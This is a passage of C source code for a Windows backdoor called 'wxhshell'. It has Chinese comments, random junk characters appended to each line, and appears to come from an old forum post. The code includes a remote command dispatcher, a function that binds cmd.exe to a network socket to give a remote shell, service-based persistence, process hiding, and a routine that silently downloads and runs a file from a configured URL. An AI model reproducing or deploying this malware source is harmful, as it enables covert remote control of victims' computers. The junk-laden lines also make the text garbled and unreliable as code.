    switch(cmd[0]) { SE*;6&yL  
  cq>J]35  
  // 帮助 z#G\D5yX[*  
  case '?': { xDeM7L'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aNry> 2:  
    break; L4^/O29  
  } i\lvxbp  
  // 安装 ?5't1219  
  case 'i': { 50 w$PW  
    if(Install())  IZrcn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ch{6=k bK  
    else &n,v@ gt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0`zdj  
    break; Pfs_tu  
    } ,R=!ts[qi  
  // 卸载 MgP|'H3\  
  case 'r': { P, ZQ*Ju  
    if(Uninstall()) oaha5aWH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d7BpmM  
    else O-[YU%K3?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ak3^en  
    break; mNC?kp  
    } @5&57R3>  
  // 显示 wxhshell 所在路径 gGE{r}$  
  case 'p': { 2Bi]t%<{  
    char svExeFile[MAX_PATH]; i-w<5pGnf  
    strcpy(svExeFile,"\n\r"); lZ5-lf4  
      strcat(svExeFile,ExeFile); ^XeJZkLEB  
        send(wsh,svExeFile,strlen(svExeFile),0); Ur 1k3  
    break; ^jL44? W}l  
    } m\*ca3$  
  // 重启 bv <^zuV  
  case 'b': { H,<CR9@(5d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zz (qc5o,F  
    if(Boot(REBOOT)) \>4>sCC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M &-p  
    else { K?M~x&Q  
    closesocket(wsh); ThP~k9-  
    ExitThread(0); Qxy ~ %;X  
    } \RDqW+,  
    break; el<Gd.p.d  
    } }^H(EHE  
  // 关机 5Bq;Vb  
  case 'd': { d$ o m\@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _!|$i  
    if(Boot(SHUTDOWN)) {R(/Usg!=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A' ![*O  
    else { fN{wP,jI  
    closesocket(wsh); }JOz,SQHP  
    ExitThread(0); O:+y/c  
    } /(||9\;  
    break; ^xk4HF   
    } ;s~xS*(C  
  // 获取shell D]d! lMK/  
  case 's': { B^M L}$  
    CmdShell(wsh); R4)l4rnO  
    closesocket(wsh); 6`7`herE}  
    ExitThread(0); vR#MUKfh  
    break; CBdr 1  
  } K~]Xx~F  
  // 退出 orWF>o=1  
  case 'x': { 5Th\wTh04  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \3(s&K\Y6\  
    CloseIt(wsh); V@LBy1z  
    break; 1Z_]Ge<a  
    } .rg "(I  
  // 离开 O>f*D+A-  
  case 'q': { rv)Eg53Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r_ m|?U %  
    closesocket(wsh); W@GU;Nr  
    WSACleanup(); .0>bnw  
    exit(1); [GM!@6U  
    break;  ZJ)>gV  
        } 1IgTJ" \  
  } #WUN=u   
  } 8>|4iT  
8DD1wK\U~  
  // 提示信息 /QlzWson  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _Q\rZ l  
} 9JMf T]  
  } * XDe:A  
i+Ne.h  
  return; q}'<[Wg  
} @w%kOX  
[vBP,_Tjx  
// shell模块句柄 tOF8v8Hd  
int CmdShell(SOCKET sock) kSJ;kz,_  
{ ?TDmW8G}J  
STARTUPINFO si; @G=:@;  
ZeroMemory(&si,sizeof(si)); x5#Kk.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (0_]=r=q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  OvC@E]/+  
PROCESS_INFORMATION ProcessInfo; MD;,O3Ge  
char cmdline[]="cmd"; &H,UWtU+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vl(id_~_  
  return 0; b*Hk} !qH  
} b!QRD'31'j  
,DW q  
// 自身启动模式 Rc@lGq9  
int StartFromService(void) Z@JTZMN_  
{ :hB6-CZkqN  
typedef struct A[Ce3m  
{ .ezko\nU  
  DWORD ExitStatus; ndB qXS  
  DWORD PebBaseAddress; *!NW!,R  
  DWORD AffinityMask; 9$(N q  
  DWORD BasePriority; fP;I{AiN~  
  ULONG UniqueProcessId; 0ly6  |:  
  ULONG InheritedFromUniqueProcessId; gpbdK?  
}   PROCESS_BASIC_INFORMATION; Vw.4;Zy(  
FAGi`X<L  
PROCNTQSIP NtQueryInformationProcess; &"1_n]JO  
ls "Z4v(L6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sV%=z}n=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; frQ=BV5%6  
EN>a^B+!  
  HANDLE             hProcess; -G1R><8[  
  PROCESS_BASIC_INFORMATION pbi; Uu`}| &@i  
! }eq~3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M.$=tuUL  
  if(NULL == hInst ) return 0; o9{1_7K  
s }^W2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |c$*Fa"A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); # 5{lOeN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q\^BOdX^`  
tnX W7ej^  
  if (!NtQueryInformationProcess) return 0; tuo'Uk)  
=xH>,-8}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2C_I3S ~U  
  if(!hProcess) return 0; d| {<SRAI  
}6__E;h#J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  OtZtl* 5  
!cO<N~0*5x  
  CloseHandle(hProcess); )Ps<u-V  
grd fR`3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .D=#HEshk  
if(hProcess==NULL) return 0; b3=XWzK5  
v9D[| 4  
HMODULE hMod; z.t,qi$;{U  
char procName[255]; ~a>3,v -  
unsigned long cbNeeded; Ac>G F  
-zH-9N*c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TU| 0I  
Pj^Ccd'>=  
  CloseHandle(hProcess); > LU !Z  
Nc(A5*  
if(strstr(procName,"services")) return 1; // 以服务启动 +jGUp\h%9;  
Vx n-  
  return 0; // 注册表启动 ZI!;~q  
} MLmk=&d  
XQ Si  
// 主模块 X=k|SayE8  
int StartWxhshell(LPSTR lpCmdLine) X*r?@uK5  
{ 0M}Ql5+h,  
  SOCKET wsl; i8/"|+Z  
BOOL val=TRUE; Je#3   
  int port=0; lb)i0`AN+  
  struct sockaddr_in door; ',Oc +jLR  
p AtxEaXh  
  if(wscfg.ws_autoins) Install(); F xXnX  
]`@< I'?,X  
port=atoi(lpCmdLine); mndNkK5o  
H//,qxDc  
if(port<=0) port=wscfg.ws_port; 7ws[Rp8  
;p( Doy)i  
  WSADATA data; BLo=@C%w5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "L)?dlb6T  
W$R@Klz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {f>e~o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]"vpCL  
  door.sin_family = AF_INET; x1`Jlzrp,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j+3=&PkA.]  
  door.sin_port = htons(port); )5U7w  
[4}U*\/>C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *_uGzGB&G  
closesocket(wsl); `$VnB  
return 1; qS[nf>"  
} ,5|@vW2@u  
8r jiW#  
  if(listen(wsl,2) == INVALID_SOCKET) { |=Pw -uk  
closesocket(wsl); ^+dL7g?+  
return 1; o l+*Oe  
} Oyjhc<6  
  Wxhshell(wsl); eKqo6P:#f  
  WSACleanup(); f:A1j\A?  
5bprhq-7  
return 0; _ Av_jw`m  
4p(\2?B%f  
} K&iU+  
R?kyJ4S  
// 以NT服务方式启动 Qb1hk*$=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )G|'PXI@,  
{ (DKQHL;  
DWORD   status = 0; iC<qWq|S_m  
  DWORD   specificError = 0xfffffff; safI`b w1  
hzy#%FaB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4{=^J2z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b U>.Bp]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; , *Z!Bd8  
  serviceStatus.dwWin32ExitCode     = 0; Al}%r85  
  serviceStatus.dwServiceSpecificExitCode = 0; Ykj+D7rA:  
  serviceStatus.dwCheckPoint       = 0; qmGLc~M0  
  serviceStatus.dwWaitHint       = 0; EYKV}`  
p w`YMk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3gba~}c)  
  if (hServiceStatusHandle==0) return; wEb10t,  
>VvA&p71b  
status = GetLastError(); ,fD#)_\g2  
  if (status!=NO_ERROR) <#:ey^q<  
{ &B ^LaRg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -xU4s  
    serviceStatus.dwCheckPoint       = 0; ,tHV H7[  
    serviceStatus.dwWaitHint       = 0; 6t`cY  
    serviceStatus.dwWin32ExitCode     = status; )ocr.wU@  
    serviceStatus.dwServiceSpecificExitCode = specificError; UJQGwTA W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;XGO@*V5T  
    return; lyyR yFfQ  
  } ^9?IS<N0]  
p#AQXIF0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kR;Hb3hb  
  serviceStatus.dwCheckPoint       = 0; Wr\A ->+  
  serviceStatus.dwWaitHint       = 0; - |&&lxrwh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gmh6|Dsg  
} kTs.ps8ei  
=$Sd2UD  
// 处理NT服务事件,比如:启动、停止 R"qxT.P(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `-82u :"  
{ W v!%'IB  
switch(fdwControl) Dt*/tVF  
{ S/7?6y~  
case SERVICE_CONTROL_STOP: jB%aHUF;  
  serviceStatus.dwWin32ExitCode = 0; aO$I|!tl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TKZ[H$Z  
  serviceStatus.dwCheckPoint   = 0; p`06%"#  
  serviceStatus.dwWaitHint     = 0; 'P3jUc)  
  { +I r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4,qhWe`/  
  } L~>~a1p!  
  return; 78/,rp#'_  
case SERVICE_CONTROL_PAUSE: vAjvW&'g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (E]q>'X  
  break; |t uh/e@dx  
case SERVICE_CONTROL_CONTINUE: |'N)HH>;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [^2c9K^NK  
  break; 0hM!#BU5K  
case SERVICE_CONTROL_INTERROGATE: o0:RsODl  
  break; L/2,r*LNx$  
}; Ipyr+7/zJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m>ApN@n  
} gX!-s*{E  
%oHK=],|1  
// 标准应用程序主函数 `0Bk@B[>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vo8gLX]a  
{ NNP ut$.  
MC;2.e`  
// 获取操作系统版本 h@yn0CU3.  
OsIsNt=GetOsVer(); .*Ylj2nM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j NkobJ1  
fKOC-%w  
  // 从命令行安装 gis;)al  
  if(strpbrk(lpCmdLine,"iI")) Install(); GX ;~K  
&*8_w-  
  // 下载执行文件 6#(==}Sm+  
if(wscfg.ws_downexe) { V(3=j)#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'CA{>\F$F+  
  WinExec(wscfg.ws_filenam,SW_HIDE); mL]a_S{H  
} 6-J%Z%yT #  
6g&Ev'  
if(!OsIsNt) { 'Uu!K!  
// 如果时win9x,隐藏进程并且设置为注册表启动 )4e?-?bK!  
HideProc(); AS'%Md&I  
StartWxhshell(lpCmdLine); aGq1 YOD[$  
} q1?}G5a ?  
else =C 7WQ  
  if(StartFromService()) LeaJ).Maw  
  // 以服务方式启动 qvG@kuz8g5  
  StartServiceCtrlDispatcher(DispatchTable); 4Be'w`Q {  
else &r)[6a$fW  
  // 普通方式启动 1V:I }~\  
  StartWxhshell(lpCmdLine); iqr/MB,W  
omzG/)M:O  
return 0; K2 6`wt  
}
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只看该作者 1 发表于: 2006-10-10
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